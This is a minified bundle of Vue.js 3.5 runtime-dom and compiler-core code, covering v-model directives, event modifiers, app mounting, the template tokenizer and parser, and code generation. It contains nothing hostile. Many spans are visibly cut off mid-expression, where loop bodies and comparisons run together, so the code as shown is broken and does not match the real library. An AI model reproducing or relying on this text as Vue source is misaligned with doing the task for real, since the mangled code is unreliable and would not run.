this._instance||(s.ce=n=>{this._instance=n,n.ce=this,n.isCE=!0;const a=(i,l)=>{this.dispatchEvent(new CustomEvent(i,Lc(l[0])?vt({detail:l},l[0]):{detail:l}))};n.emit=(i,...l)=>{a(i,l),gn(i)!==i&&a(gn(i),l)},this._setParent()}),s}_applyStyles(e,s,n){if(!e)return;if(s){if(s===this._def||this._styleChildren.has(s))return;this._styleChildren.add(s)}const a=this._nonce,i=this.shadowRoot,l=n?this._getStyleAnchor(n)||this._getStyleAnchor(this._def):this._getRootStyleInsertionAnchor(i);let r=null;for(let o=e.length-1;o>=0;o--){const c=document.createElement("style");a&&c.setAttribute("nonce",a),c.textContent=e[o],i.insertBefore(c,r||l),r=c,o===0&&(n||this._styleAnchors.set(this._def,c),s&&this._styleAnchors.set(s,c))}}_getStyleAnchor(e){if(!e)return null;const s=this._styleAnchors.get(e);return s&&s.parentNode===this.shadowRoot?s:(s&&this._styleAnchors.delete(e),null)}_getRootStyleInsertionAnchor(e){for(let s=0;s(delete t.props.mode,t),Tw=Sw({name:"TransitionGroup",props:vt({},Hm,{tag:String,moveClass:String}),setup(t,{slots:e}){const s=nn(),n=ip();let a,i;return Vc(()=>{if(!a.length)return;const l=t.moveClass||`${t.name||"v"}-move`;if(!Lw(a[0].el,s.vnode.el,l)){a=[];return}a.forEach(Rw),a.forEach(Iw);const r=a.filter(Ow);bd(s.vnode.el),r.forEach(o=>{const c=o.el,u=c.style;ea(c,l),u.transform=u.webkitTransform=u.transitionDuration="";const d=c[mc]=p=>{p&&p.target!==c||(!p||p.propertyName.endsWith("transform"))&&(c.removeEventListener("transitionend",d),c[mc]=null,si(c,l))};c.addEventListener("transitionend",d)}),a=[]}),()=>{const l=Dt(t),r=Gm(l);let o=l.tag||Ss;if(a=[],i)for(let c=0;c{r.split(/\s+/).forEach(o=>o&&n.classList.remove(o))}),s.split(/\s+/).forEach(r=>r&&n.classList.add(r)),n.style.display="none";const i=e.nodeType===1?e:e.parentNode;i.appendChild(n);const{hasTransform:l}=Um(n);return i.removeChild(n),l}const pi=t=>{const e=t.props["onUpdate:modelValue"]||!1;return Ve(e)?s=>Cl(e,s):e};function Nw(t){t.target.composing=!0}function sB(t){const e=t.target;e.composing&&(e.composing=!1,e.dispatchEvent(new Event("input")))}const Mn=Symbol("_assign");function nB(t,e,s){return e&&(t=t.trim()),s&&(t=Mc(t)),t}const vc={created(t,{modifiers:{lazy:e,trim:s,number:n}},a){t[Mn]=pi(a);const i=n||a.props&&a.props.type==="number";ka(t,e?"change":"input",l=>{l.target.composing||t[Mn](nB(t.value,s,i))}),(s||i)&&ka(t,"change",()=>{t.value=nB(t.value,s,i)}),e||(ka(t,"compositionstart",Nw),ka(t,"compositionend",sB),ka(t,"change",sB))},mounted(t,{value:e}){t.value=e??""},beforeUpdate(t,{value:e,oldValue:s,modifiers:{lazy:n,trim:a,number:i}},l){if(t[Mn]=pi(l),t.composing)return;const r=(i||t.type==="number")&&!/^0\d/.test(t.value)?Mc(t.value):t.value,o=e??"";if(r===o)return;const c=t.getRootNode();(c instanceof Document||c instanceof ShadowRoot)&&c.activeElement===t&&t.type!=="range"&&(n&&e===s||a&&t.value.trim()===o)||(t.value=o)}},Cp={deep:!0,created(t,e,s){t[Mn]=pi(s),ka(t,"change",()=>{const n=t._modelValue,a=Rl(t),i=t.checked,l=t[Mn];if(Ve(n)){const r=Hc(n,a),o=r!==-1;if(i&&!o)l(n.concat(a));else if(!i&&o){const c=[...n];c.splice(r,1),l(c)}}else if(zi(n)){const r=new Set(n);i?r.add(a):r.delete(a),l(r)}else l(Ym(t,i))})},mounted:aB,beforeUpdate(t,e,s){t[Mn]=pi(s),aB(t,e,s)}};function aB(t,{value:e,oldValue:s},n){t._modelValue=e;let a;if(Ve(e))a=Hc(e,n.props.value)>-1;else if(zi(e))a=e.has(n.props.value);else{if(e===s)return;a=La(e,Ym(t,!0))}t.checked!==a&&(t.checked=a)}const yp={created(t,{value:e},s){t.checked=La(e,s.props.value),t[Mn]=pi(s),ka(t,"change",()=>{t[Mn](Rl(t))})},beforeUpdate(t,{value:e,oldValue:s},n){t[Mn]=pi(n),e!==s&&(t.checked=La(e,n.props.value))}},Qm={deep:!0,created(t,{value:e,modifiers:{number:s}},n){const a=zi(e);ka(t,"change",()=>{const i=Array.prototype.filter.call(t.options,l=>l.selected).map(l=>s?Mc(Rl(l)):Rl(l));t[Mn](t.multiple?a?new Set(i):i:i[0]),t._assigning=!0,ns(()=>{t._assigning=!1})}),t[Mn]=pi(n)},mounted(t,{value:e}){iB(t,e)},beforeUpdate(t,e,s){t[Mn]=pi(s)},updated(t,{value:e}){t._assigning||iB(t,e)}};function iB(t,e){const s=t.multiple,n=Ve(e);if(!(s&&!n&&!zi(e))){for(let a=0,i=t.options.length;aString(c)===String(r)):l.selected=Hc(e,r)>-1}else l.selected=e.has(r);else if(La(Rl(l),e)){t.selectedIndex!==a&&(t.selectedIndex=a);return}}!s&&t.selectedIndex!==-1&&(t.selectedIndex=-1)}}function Rl(t){return"_value"in t?t._value:t.value}function Ym(t,e){const s=e?"_trueValue":"_falseValue";return s in t?t[s]:e}const Zm={created(t,e,s){ko(t,e,s,null,"created")},mounted(t,e,s){ko(t,e,s,null,"mounted")},beforeUpdate(t,e,s,n){ko(t,e,s,n,"beforeUpdate")},updated(t,e,s,n){ko(t,e,s,n,"updated")}};function Xm(t,e){switch(t){case"SELECT":return Qm;case"TEXTAREA":return vc;default:switch(e){case"checkbox":return Cp;case"radio":return yp;default:return vc}}}function ko(t,e,s,n,a){const l=Xm(t.tagName,s.props&&s.props.type)[a];l&&l(t,e,s,n)}function Fw(){vc.getSSRProps=({value:t})=>({value:t}),yp.getSSRProps=({value:t},e)=>{if(e.props&&La(e.props.value,t))return{checked:!0}},Cp.getSSRProps=({value:t},e)=>{if(Ve(t)){if(e.props&&Hc(t,e.props.value)>-1)return{checked:!0}}else if(zi(t)){if(e.props&&t.has(e.props.value))return{checked:!0}}else if(t)return{checked:!0}},Zm.getSSRProps=(t,e)=>{if(typeof e.type!="string")return;const s=Xm(e.type.toUpperCase(),e.props&&e.props.type);if(s.getSSRProps)return s.getSSRProps(t,e)}}const Mw=["ctrl","shift","alt","meta"],Pw={stop:t=>t.stopPropagation(),prevent:t=>t.preventDefault(),self:t=>t.target!==t.currentTarget,ctrl:t=>!t.ctrlKey,shift:t=>!t.shiftKey,alt:t=>!t.altKey,meta:t=>!t.metaKey,left:t=>"button"in t&&t.button!==0,middle:t=>"button"in t&&t.button!==1,right:t=>"button"in t&&t.button!==2,exact:(t,e)=>Mw.some(s=>t[`${s}Key`]&&!e.includes(s))},Hw=(t,e)=>{if(!t)return t;const s=t._withMods||(t._withMods={}),n=e.join(".");return s[n]||(s[n]=((a,...i)=>{for(let l=0;l{const s=t._withKeys||(t._withKeys={}),n=e.join(".");return s[n]||(s[n]=(a=>{if(!("key"in a))return;const i=gn(a.key);if(e.some(l=>l===i||Gw[l]===i))return t(a)}))},ev=vt({patchProp:Jm},Mm);let xr,lB=!1;function tv(){return xr||(xr=Bm(ev))}function sv(){return xr=lB?xr:hm(ev),lB=!0,xr}const nv=((...t)=>{tv().render(...t)}),$w=((...t)=>{sv().hydrate(...t)}),bc=((...t)=>{const e=tv().createApp(...t),{mount:s}=e;return e.mount=n=>{const a=lv(n);if(!a)return;const i=e._component;!rt(i)&&!i.render&&!i.template&&(i.template=a.innerHTML),a.nodeType===1&&(a.textContent="");const l=s(a,!1,iv(a));return a instanceof Element&&(a.removeAttribute("v-cloak"),a.setAttribute("data-v-app","")),l},e}),av=((...t)=>{const e=sv().createApp(...t),{mount:s}=e;return e.mount=n=>{const a=lv(n);if(a)return s(a,!0,iv(a))},e});function iv(t){if(t instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&t instanceof MathMLElement)return"mathml"}function lv(t){return ut(t)?document.querySelector(t):t}let rB=!1;const jw=()=>{rB||(rB=!0,Fw(),uw())},Jw=Object.freeze(Object.defineProperty({__proto__:null,BaseTransition:zg,BaseTransitionPropsValidators:lp,Comment:Bs,DeprecationTypes:sw,EffectScope:Qd,ErrorCodes:ix,ErrorTypeStrings:W0,Fragment:Ss,KeepAlive:Px,ReactiveEffect:Sr,Static:Fi,Suspense:A0,Teleport:Cx,Text:ui,TrackOpTypes:Zy,Transition:lw,TransitionGroup:Aw,TriggerOpTypes:Xy,VueElement:Yc,assertNumber:ax,callWithAsyncErrorHandling:En,callWithErrorHandling:Gl,camelize:Ut,capitalize:qi,cloneVNode:ca,compatUtils:tw,computed:G,createApp:bc,createBlock:pc,createCommentVNode:km,createElementBlock:F0,createElementVNode:gp,createHydrationRenderer:hm,createPropsRestProxy:l0,createRenderer:Bm,createSSRApp:av,createSlots:zx,createStaticVNode:H0,createTextVNode:mp,createVNode:ss,customRef:Tg,defineAsyncComponent:Fx,defineComponent:eo,defineCustomElement:zm,defineEmits:Qx,defineExpose:Yx,defineModel:e0,defineOptions:Zx,defineProps:Wx,defineSSRCustomElement:_w,defineSlots:Xx,devtools:Q0,effect:yy,effectScope:vy,getCurrentInstance:nn,getCurrentScope:dg,getCurrentWatcher:ex,getTransitionRawChildren:zc,guardReactiveProps:Em,h:Tl,handleError:Vi,hasInjectionContext:fx,hydrate:$w,hydrateOnIdle:Ax,hydrateOnInteraction:Lx,hydrateOnMediaQuery:Ox,hydrateOnVisible:Ix,initCustomFormatter:q0,initDirectivesForSSR:jw,inject:Fn,isMemoSame:Lm,isProxy:Zr,isReactive:Ra,isReadonly:oa,isRef:bs,isRuntimeOnly:j0,isShallow:vn,isVNode:Pa,markRaw:Dg,mergeDefaults:a0,mergeModels:i0,mergeProps:Dm,nextTick:ns,nodeOps:Mm,normalizeClass:Yr,normalizeProps:iy,normalizeStyle:Qr,onActivated:hs,onBeforeMount:Kg,onBeforeUnmount:Kc,onBeforeUpdate:op,onDeactivated:as,onErrorCaptured:Zg,onMounted:dt,onRenderTracked:Yg,onRenderTriggered:Qg,onScopeDispose:by,onServerPrefetch:Wg,onUnmounted:It,onUpdated:Vc,onWatcherCleanup:Rg,openBlock:Fr,patchProp:Jm,popScopeId:ux,provide:br,proxyRefs:sp,pushScopeId:cx,queuePostFlushCb:Rr,reactive:Bi,readonly:ac,ref:f,registerRuntimeCompiler:Rm,render:nv,renderList:Jx,renderSlot:qx,resolveComponent:Ux,resolveDirective:jx,resolveDynamicComponent:$x,resolveFilter:ew,resolveTransitionHooks:Sl,setBlockTracking:Mr,setDevtoolsHook:Y0,setTransitionHooks:Ma,shallowReactive:ep,shallowReadonly:Gy,shallowRef:tp,ssrContextKey:Mg,ssrUtils:X0,stop:xy,toDisplayString:cg,toHandlerKey:bl,toHandlers:Vx,toRaw:Dt,toRef:Wy,toRefs:qy,toValue:jy,transformVNodeArgs:M0,triggerRef:$y,unref:ra,useAttrs:n0,useCssModule:Dw,useCssVars:dw,useHost:qm,useId:xx,useModel:h0,useSSRContext:Pg,useShadowRoot:kw,useSlots:s0,useTemplateRef:wx,useTransitionState:ip,vModelCheckbox:Cp,vModelDynamic:Zm,vModelRadio:yp,vModelSelect:Qm,vModelText:vc,vShow:$m,version:Nm,warn:K0,watch:us,watchEffect:Bx,watchPostEffect:hx,watchSyncEffect:Hg,withAsyncContext:r0,withCtx:ap,withDefaults:t0,withDirectives:px,withKeys:Uw,withMemo:V0,withModifiers:Hw,withScopeId:dx},Symbol.toStringTag,{value:"Module"}));/** +* @vue/compiler-core v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/const Hr=Symbol(""),wr=Symbol(""),xp=Symbol(""),Cc=Symbol(""),rv=Symbol(""),Ui=Symbol(""),ov=Symbol(""),cv=Symbol(""),wp=Symbol(""),_p=Symbol(""),no=Symbol(""),Ep=Symbol(""),uv=Symbol(""),kp=Symbol(""),Dp=Symbol(""),Sp=Symbol(""),Tp=Symbol(""),Ap=Symbol(""),Rp=Symbol(""),dv=Symbol(""),pv=Symbol(""),Zc=Symbol(""),yc=Symbol(""),Ip=Symbol(""),Op=Symbol(""),Gr=Symbol(""),ao=Symbol(""),Lp=Symbol(""),yd=Symbol(""),zw=Symbol(""),xd=Symbol(""),xc=Symbol(""),qw=Symbol(""),Vw=Symbol(""),Np=Symbol(""),Kw=Symbol(""),Ww=Symbol(""),Fp=Symbol(""),fv=Symbol(""),Il={[Hr]:"Fragment",[wr]:"Teleport",[xp]:"Suspense",[Cc]:"KeepAlive",[rv]:"BaseTransition",[Ui]:"openBlock",[ov]:"createBlock",[cv]:"createElementBlock",[wp]:"createVNode",[_p]:"createElementVNode",[no]:"createCommentVNode",[Ep]:"createTextVNode",[uv]:"createStaticVNode",[kp]:"resolveComponent",[Dp]:"resolveDynamicComponent",[Sp]:"resolveDirective",[Tp]:"resolveFilter",[Ap]:"withDirectives",[Rp]:"renderList",[dv]:"renderSlot",[pv]:"createSlots",[Zc]:"toDisplayString",[yc]:"mergeProps",[Ip]:"normalizeClass",[Op]:"normalizeStyle",[Gr]:"normalizeProps",[ao]:"guardReactiveProps",[Lp]:"toHandlers",[yd]:"camelize",[zw]:"capitalize",[xd]:"toHandlerKey",[xc]:"setBlockTracking",[qw]:"pushScopeId",[Vw]:"popScopeId",[Np]:"withCtx",[Kw]:"unref",[Ww]:"isRef",[Fp]:"withMemo",[fv]:"isMemoSame"};function Qw(t){Object.getOwnPropertySymbols(t).forEach(e=>{Il[e]=t[e]})}const Dn={start:{line:1,column:1,offset:0},end:{line:1,column:1,offset:0},source:""};function Yw(t,e=""){return{type:0,source:e,children:t,helpers:new Set,components:[],directives:[],hoists:[],imports:[],cached:[],temps:0,codegenNode:void 0,loc:Dn}}function Ur(t,e,s,n,a,i,l,r=!1,o=!1,c=!1,u=Dn){return t&&(r?(t.helper(Ui),t.helper(Nl(t.inSSR,c))):t.helper(Ll(t.inSSR,c)),l&&t.helper(Ap)),{type:13,tag:e,props:s,children:n,patchFlag:a,dynamicProps:i,directives:l,isBlock:r,disableTracking:o,isComponent:c,loc:u}}function Mi(t,e=Dn){return{type:17,loc:e,elements:t}}function Nn(t,e=Dn){return{type:15,loc:e,properties:t}}function vs(t,e){return{type:16,loc:Dn,key:ut(t)?pt(t,!0):t,value:e}}function pt(t,e=!1,s=Dn,n=0){return{type:4,loc:s,content:t,isStatic:e,constType:e?3:n}}function jn(t,e=Dn){return{type:8,loc:e,children:t}}function _s(t,e=[],s=Dn){return{type:14,loc:s,callee:t,arguments:e}}function Ol(t,e=void 0,s=!1,n=!1,a=Dn){return{type:18,params:t,returns:e,newline:s,isSlot:n,loc:a}}function wd(t,e,s,n=!0){return{type:19,test:t,consequent:e,alternate:s,newline:n,loc:Dn}}function Zw(t,e,s=!1,n=!1){return{type:20,index:t,value:e,needPauseTracking:s,inVOnce:n,needArraySpread:!1,loc:Dn}}function Xw(t){return{type:21,body:t,loc:Dn}}function Ll(t,e){return t||e?wp:_p}function Nl(t,e){return t||e?ov:cv}function Mp(t,{helper:e,removeHelper:s,inSSR:n}){t.isBlock||(t.isBlock=!0,s(Ll(n,t.isComponent)),e(Ui),e(Nl(n,t.isComponent)))}const oB=new Uint8Array([123,123]),cB=new Uint8Array([125,125]);function uB(t){return t>=97&&t<=122||t>=65&&t<=90}function wn(t){return t===32||t===10||t===9||t===12||t===13}function Ya(t){return t===47||t===62||wn(t)}function wc(t){const e=new Uint8Array(t.length);for(let s=0;s100){let l=-1,r=a;for(;l+1>>1;this.newlines[o]=0;l--)if(e>this.newlines[l]){i=l;break}return i>=0&&(s=i+2,n=e-this.newlines[i]),{column:n,line:s,offset:e}}peek(){return this.buffer.charCodeAt(this.index+1)}stateText(e){e===60?(this.index>this.sectionStart&&this.cbs.ontext(this.sectionStart,this.index),this.state=5,this.sectionStart=this.index):!this.inVPre&&e===this.delimiterOpen[0]&&(this.state=2,this.delimiterIndex=0,this.stateInterpolationOpen(e))}stateInterpolationOpen(e){if(e===this.delimiterOpen[this.delimiterIndex])if(this.delimiterIndex===this.delimiterOpen.length-1){const s=this.index+1-this.delimiterOpen.length;s>this.sectionStart&&this.cbs.ontext(this.sectionStart,s),this.state=3,this.sectionStart=s}else this.delimiterIndex++;else this.inRCDATA?(this.state=32,this.stateInRCDATA(e)):(this.state=1,this.stateText(e))}stateInterpolation(e){e===this.delimiterClose[0]&&(this.state=4,this.delimiterIndex=0,this.stateInterpolationClose(e))}stateInterpolationClose(e){e===this.delimiterClose[this.delimiterIndex]?this.delimiterIndex===this.delimiterClose.length-1?(this.cbs.oninterpolation(this.sectionStart,this.index+1),this.inRCDATA?this.state=32:this.state=1,this.sectionStart=this.index+1):this.delimiterIndex++:(this.state=3,this.stateInterpolation(e))}stateSpecialStartSequence(e){const s=this.sequenceIndex===this.currentSequence.length;if(!(s?Ya(e):(e|32)===this.currentSequence[this.sequenceIndex]))this.inRCDATA=!1;else if(!s){this.sequenceIndex++;return}this.sequenceIndex=0,this.state=6,this.stateInTagName(e)}stateInRCDATA(e){if(this.sequenceIndex===this.currentSequence.length){if(e===62||wn(e)){const s=this.index-this.currentSequence.length;if(this.sectionStart=e||(this.state===28?this.currentSequence===Ps.CdataEnd?this.cbs.oncdata(this.sectionStart,e):this.cbs.oncomment(this.sectionStart,e):this.state===6||this.state===11||this.state===18||this.state===17||this.state===12||this.state===13||this.state===14||this.state===15||this.state===16||this.state===20||this.state===19||this.state===21||this.state===9||this.cbs.ontext(this.sectionStart,e))}emitCodePoint(e,s){}}function dB(t,{compatConfig:e}){const s=e&&e[t];return t==="MODE"?s||3:s}function Pi(t,e){const s=dB("MODE",e),n=dB(t,e);return s===3?n===!0:n!==!1}function $r(t,e,s,...n){return Pi(t,e)}function Pp(t){throw t}function Bv(t){}function Xt(t,e,s,n){const a=`https://vuejs.org/error-reference/#compiler-${t}`,i=new SyntaxError(String(a));return i.code=t,i.loc=e,i}const mn=t=>t.type===4&&t.isStatic;function hv(t){switch(t){case"Teleport":case"teleport":return wr;case"Suspense":case"suspense":return xp;case"KeepAlive":case"keep-alive":return Cc;case"BaseTransition":case"base-transition":return rv}}const t_=/^$|^\d|[^\$\w\xA0-\uFFFF]/,Hp=t=>!t_.test(t),gv=/[A-Za-z_$\xA0-\uFFFF]/,s_=/[\.\?\w$\xA0-\uFFFF]/,n_=/\s+[.[]\s*|\s*[.[]\s+/g,mv=t=>t.type===4?t.content:t.loc.source,a_=t=>{const e=mv(t).trim().replace(n_,r=>r.trim());let s=0,n=[],a=0,i=0,l=null;for(let r=0;r|^\s*(?:async\s+)?function(?:\s+[\w$]+)?\s*\(/,l_=t=>i_.test(mv(t)),r_=l_;function Ln(t,e,s=!1){for(let n=0;ne.type===7&&e.name==="bind"&&(!e.arg||e.arg.type!==4||!e.arg.isStatic))}function Fu(t){return t.type===5||t.type===2}function pB(t){return t.type===7&&t.name==="pre"}function c_(t){return t.type===7&&t.name==="slot"}function _c(t){return t.type===1&&t.tagType===3}function Ec(t){return t.type===1&&t.tagType===2}const u_=new Set([Gr,ao]);function bv(t,e=[]){if(t&&!ut(t)&&t.type===14){const s=t.callee;if(!ut(s)&&u_.has(s))return bv(t.arguments[0],e.concat(t))}return[t,e]}function kc(t,e,s){let n,a=t.type===13?t.props:t.arguments[2],i=[],l;if(a&&!ut(a)&&a.type===14){const r=bv(a);a=r[0],i=r[1],l=i[i.length-1]}if(a==null||ut(a))n=Nn([e]);else if(a.type===14){const r=a.arguments[0];!ut(r)&&r.type===15?fB(e,r)||r.properties.unshift(e):a.callee===Lp?n=_s(s.helper(yc),[Nn([e]),a]):a.arguments.unshift(Nn([e])),!n&&(n=a)}else a.type===15?(fB(e,a)||a.properties.unshift(e),n=a):(n=_s(s.helper(yc),[Nn([e]),a]),l&&l.callee===ao&&(l=i[i.length-2]));t.type===13?l?l.arguments[0]=n:t.props=n:l?l.arguments[0]=n:t.arguments[2]=n}function fB(t,e){let s=!1;if(t.key.type===4){const n=t.key.content;s=e.properties.some(a=>a.key.type===4&&a.key.content===n)}return s}function jr(t,e){return`_${e}_${t.replace(/[^\w]/g,(s,n)=>s==="-"?"_":t.charCodeAt(n).toString())}`}function d_(t){return t.type===14&&t.callee===Fp?t.arguments[1].returns:t}const p_=/([\s\S]*?)\s+(?:in|of)\s+(\S[\s\S]*)/;function Cv(t){for(let e=0;e0,isVoidTag:Bl,isPreTag:Bl,isIgnoreNewlineTag:Bl,isCustomElement:Bl,onError:Pp,onWarn:Bv,comments:!1,prefixIdentifiers:!1};let At=xv,Jr=null,Oa="",Gs=null,Ct=null,dn="",ba=-1,Ei=-1,Up=0,li=!1,_d=null;const Yt=[],cs=new e_(Yt,{onerr:ga,ontext(t,e){Do(Is(t,e),t,e)},ontextentity(t,e,s){Do(t,e,s)},oninterpolation(t,e){if(li)return Do(Is(t,e),t,e);let s=t+cs.delimiterOpen.length,n=e-cs.delimiterClose.length;for(;wn(Oa.charCodeAt(s));)s++;for(;wn(Oa.charCodeAt(n-1));)n--;let a=Is(s,n);a.includes("&")&&(a=At.decodeEntities(a,!1)),Ed({type:5,content:Yo(a,!1,fs(s,n)),loc:fs(t,e)})},onopentagname(t,e){const s=Is(t,e);Gs={type:1,tag:s,ns:At.getNamespace(s,Yt[0],At.ns),tagType:0,props:[],children:[],loc:fs(t-1,e),codegenNode:void 0}},onopentagend(t){hB(t)},onclosetag(t,e){const s=Is(t,e);if(!At.isVoidTag(s)){let n=!1;for(let a=0;a0&&ga(24,Yt[0].loc.start.offset);for(let l=0;l<=a;l++){const r=Yt.shift();Qo(r,e,l(n.type===7?n.rawName:n.name)===s)&&ga(2,e)},onattribend(t,e){if(Gs&&Ct){if(Ai(Ct.loc,e),t!==0)if(dn.includes("&")&&(dn=At.decodeEntities(dn,!0)),Ct.type===6)Ct.name==="class"&&(dn=Ev(dn).trim()),t===1&&!dn&&ga(13,e),Ct.value={type:2,content:dn,loc:t===1?fs(ba,Ei):fs(ba-1,Ei+1)},cs.inSFCRoot&&Gs.tag==="template"&&Ct.name==="lang"&&dn&&dn!=="html"&&cs.enterRCDATA(wc("a.content==="sync"))>-1&&$r("COMPILER_V_BIND_SYNC",At,Ct.loc,Ct.arg.loc.source)&&(Ct.name="model",Ct.modifiers.splice(n,1))}(Ct.type!==7||Ct.name!=="pre")&&Gs.props.push(Ct)}dn="",ba=Ei=-1},oncomment(t,e){At.comments&&Ed({type:3,content:Is(t,e),loc:fs(t-4,e+3)})},onend(){const t=Oa.length;for(let e=0;e{const h=e.start.offset+p,b=h+d.length;return Yo(d,!1,fs(h,b),0,B?1:0)},r={source:l(i.trim(),s.indexOf(i,a.length)),value:void 0,key:void 0,index:void 0,finalized:!1};let o=a.trim().replace(f_,"").trim();const c=a.indexOf(o),u=o.match(BB);if(u){o=o.replace(BB,"").trim();const d=u[1].trim();let p;if(d&&(p=s.indexOf(d,c+o.length),r.key=l(d,p,!0)),u[2]){const B=u[2].trim();B&&(r.index=l(B,s.indexOf(B,r.key?p+d.length:c+o.length),!0))}}return o&&(r.value=l(o,c,!0)),r}function Is(t,e){return Oa.slice(t,e)}function hB(t){cs.inSFCRoot&&(Gs.innerLoc=fs(t+1,t+1)),Ed(Gs);const{tag:e,ns:s}=Gs;s===0&&At.isPreTag(e)&&Up++,At.isVoidTag(e)?Qo(Gs,t):(Yt.unshift(Gs),(s===1||s===2)&&(cs.inXML=!0)),Gs=null}function Do(t,e,s){{const i=Yt[0]&&Yt[0].tag;i!=="script"&&i!=="style"&&t.includes("&")&&(t=At.decodeEntities(t,!1))}const n=Yt[0]||Jr,a=n.children[n.children.length-1];a&&a.type===2?(a.content+=t,Ai(a.loc,s)):n.children.push({type:2,content:t,loc:fs(e,s)})}function Qo(t,e,s=!1){s?Ai(t.loc,wv(e,60)):Ai(t.loc,h_(e,62)+1),cs.inSFCRoot&&(t.children.length?t.innerLoc.end=vt({},t.children[t.children.length-1].loc.end):t.innerLoc.end=vt({},t.innerLoc.start),t.innerLoc.source=Is(t.innerLoc.start.offset,t.innerLoc.end.offset));const{tag:n,ns:a,children:i}=t;if(li||(n==="slot"?t.tagType=2:gB(t)?t.tagType=3:m_(t)&&(t.tagType=1)),cs.inRCDATA||(t.children=_v(i)),a===0&&At.isIgnoreNewlineTag(n)){const l=i[0];l&&l.type===2&&(l.content=l.content.replace(/^\r?\n/,""))}a===0&&At.isPreTag(n)&&Up--,_d===t&&(li=cs.inVPre=!1,_d=null),cs.inXML&&(Yt[0]?Yt[0].ns:At.ns)===0&&(cs.inXML=!1);{const l=t.props;if(!cs.inSFCRoot&&Pi("COMPILER_NATIVE_TEMPLATE",At)&&t.tag==="template"&&!gB(t)){const o=Yt[0]||Jr,c=o.children.indexOf(t);o.children.splice(c,1,...t.children)}const r=l.find(o=>o.type===6&&o.name==="inline-template");r&&$r("COMPILER_INLINE_TEMPLATE",At,r.loc)&&t.children.length&&(r.value={type:2,content:Is(t.children[0].loc.start.offset,t.children[t.children.length-1].loc.end.offset),loc:r.loc})}}function h_(t,e){let s=t;for(;Oa.charCodeAt(s)!==e&&s=0;)s--;return s}const g_=new Set(["if","else","else-if","for","slot"]);function gB({tag:t,props:e}){if(t==="template"){for(let s=0;s64&&t<91}const b_=/\r\n/g;function _v(t){const e=At.whitespace!=="preserve";let s=!1;for(let n=0;ns.type!==3);return e.length===1&&e[0].type===1&&!Ec(e[0])?e[0]:null}function Zo(t,e,s,n=!1,a=!1){const{children:i}=t,l=[];for(let u=0;u0){if(p>=2){d.codegenNode.patchFlag=-1,l.push(d);continue}}else{const B=d.codegenNode;if(B.type===13){const h=B.patchFlag;if((h===void 0||h===512||h===1)&&Sv(d,s)>=2){const b=Tv(d);b&&(B.props=s.hoist(b))}B.dynamicProps&&(B.dynamicProps=s.hoist(B.dynamicProps))}}}else if(d.type===12&&(n?0:_n(d,s))>=2){d.codegenNode.type===14&&d.codegenNode.arguments.length>0&&d.codegenNode.arguments.push("-1"),l.push(d);continue}if(d.type===1){const p=d.tagType===1;p&&s.scopes.vSlot++,Zo(d,t,s,!1,a),p&&s.scopes.vSlot--}else if(d.type===11)Zo(d,t,s,d.children.length===1,!0);else if(d.type===9)for(let p=0;pB.key===d||B.key.content===d);return p&&p.value}}l.length&&s.transformHoist&&s.transformHoist(i,s,t)}function _n(t,e){const{constantCache:s}=e;switch(t.type){case 1:if(t.tagType!==0)return 0;const n=s.get(t);if(n!==void 0)return n;const a=t.codegenNode;if(a.type!==13||a.isBlock&&t.tag!=="svg"&&t.tag!=="foreignObject"&&t.tag!=="math")return 0;if(a.patchFlag===void 0){let l=3;const r=Sv(t,e);if(r===0)return s.set(t,0),0;r1)for(let o=0;oO&&(A.childIndex--,A.onNodeRemoved()),A.parent.children.splice(O,1)},onNodeRemoved:Ns,addIdentifiers(S){},removeIdentifiers(S){},hoist(S){ut(S)&&(S=pt(S)),A.hoists.push(S);const L=pt(`_hoisted_${A.hoists.length}`,!1,S.loc,2);return L.hoisted=S,L},cache(S,L=!1,O=!1){const I=Zw(A.cached.length,S,L,O);return A.cached.push(I),I}};return A.filters=new Set,A}function S_(t,e){const s=D_(t,e);eu(t,s),e.hoistStatic&&E_(t,s),e.ssr||T_(t,s),t.helpers=new Set([...s.helpers.keys()]),t.components=[...s.components],t.directives=[...s.directives],t.imports=s.imports,t.hoists=s.hoists,t.temps=s.temps,t.cached=s.cached,t.transformed=!0,t.filters=[...s.filters]}function T_(t,e){const{helper:s}=e,{children:n}=t;if(n.length===1){const a=kv(t);if(a&&a.codegenNode){const i=a.codegenNode;i.type===13&&Mp(i,e),t.codegenNode=i}else t.codegenNode=n[0]}else if(n.length>1){let a=64;t.codegenNode=Ur(e,s(Hr),void 0,t.children,a,void 0,void 0,!0,void 0,!1)}}function A_(t,e){let s=0;const n=()=>{s--};for(;sn===t:n=>t.test(n);return(n,a)=>{if(n.type===1){const{props:i}=n;if(n.tagType===3&&i.some(c_))return;const l=[];for(let r=0;r`${Il[t]}: _${Il[t]}`;function R_(t,{mode:e="function",prefixIdentifiers:s=e==="module",sourceMap:n=!1,filename:a="template.vue.html",scopeId:i=null,optimizeImports:l=!1,runtimeGlobalName:r="Vue",runtimeModuleName:o="vue",ssrRuntimeModuleName:c="vue/server-renderer",ssr:u=!1,isTS:d=!1,inSSR:p=!1}){const B={mode:e,prefixIdentifiers:s,sourceMap:n,filename:a,scopeId:i,optimizeImports:l,runtimeGlobalName:r,runtimeModuleName:o,ssrRuntimeModuleName:c,ssr:u,isTS:d,inSSR:p,source:t.source,code:"",column:1,line:1,offset:0,indentLevel:0,pure:!1,map:void 0,helper(b){return`_${Il[b]}`},push(b,w=-2,_){B.code+=b},indent(){h(++B.indentLevel)},deindent(b=!1){b?--B.indentLevel:h(--B.indentLevel)},newline(){h(B.indentLevel)}};function h(b){B.push(` +`+" ".repeat(b),0)}return B}function I_(t,e={}){const s=R_(t,e);e.onContextCreated&&e.onContextCreated(s);const{mode:n,push:a,prefixIdentifiers:i,indent:l,deindent:r,newline:o,scopeId:c,ssr:u}=s,d=Array.from(t.helpers),p=d.length>0,B=!i&&n!=="module";O_(t,s);const b=u?"ssrRender":"render",_=(u?["_ctx","_push","_parent","_attrs"]:["_ctx","_cache"]).join(", ");if(a(`function ${b}(${_}) {`),l(),B&&(a("with (_ctx) {"),l(),p&&(a(`const { ${d.map(Rv).join(", ")} } = _Vue +`,-1),o())),t.components.length&&(Mu(t.components,"component",s),(t.directives.length||t.temps>0)&&o()),t.directives.length&&(Mu(t.directives,"directive",s),t.temps>0&&o()),t.filters&&t.filters.length&&(o(),Mu(t.filters,"filter",s),o()),t.temps>0){a("let ");for(let C=0;C0?", ":""}_temp${C}`)}return(t.components.length||t.directives.length||t.temps)&&(a(` +`,0),o()),u||a("return 